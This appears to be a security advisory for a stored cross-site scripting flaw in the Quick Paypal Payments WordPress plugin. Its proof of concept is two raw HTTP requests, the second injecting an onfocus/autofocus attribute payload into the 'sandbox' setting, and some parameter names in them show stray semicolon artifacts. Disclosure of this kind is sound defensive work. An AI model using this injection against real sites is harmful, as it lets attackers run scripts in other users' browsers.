Quick Paypal Payments < 5.7.26.4 - Admin+ Stored XSS

The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)

PoC

Original request - with sandbox=checked ##################### POST /wordpress/wp-admin/options-general.php?page=quick-paypal-payments&tab;=setup HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:110.0) Gecko/20100101 Firefox/110.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/wordpress/wp-admin/options-general.php?page=quick-paypal-payments&amp;tab;=setup Content-Type: application/x-www-form-urlencoded Content-Length: 361 Origin: http://localhost Connection: close Cookie: XXX Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 email=test%40test.com&qpp;_curr=USD&current;=test&qpp;_currtest=USD&deleteformtest;=test&new;_form=&new;_curr=USD&alternative;=test%2C&qpp;_clone=Do+not+copy+settings&location;=head&sandbox;=checked&disable;_error=checked&Submit;=Update+Settings&_wpnonce=0ad2dfdf9f&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dquick-paypal-payments%26tab%3Dsetup ##################### POC request - with sandbox=checked%20onfocus%3dalert(document.domain)%20autofocus%3d%20 ##################### POST /wordpress/wp-admin/options-general.php?page=quick-paypal-payments HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:110.0) Gecko/20100101 Firefox/110.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/wordpress/wp-admin/options-general.php?page=quick-paypal-payments Content-Type: application/x-www-form-urlencoded Content-Length: 387 Origin: http://localhost Connection: close Cookie: XXX Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 email=test%40test.com&current;=test%40test.com&qpp;_curr=USD&new;_form=test&new;_curr=USD&alternative;=&qpp;_clone=Do+not+copy+settings&location;=head&sandbox;=checked%20onfocus%3dalert(document.domain)%20autofocus%3d%20&disable;_error=checked&nostore;=checked&Submit;=Update+Settings&_wpnonce=0ad2dfdf9f&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dquick-paypal-payments #####################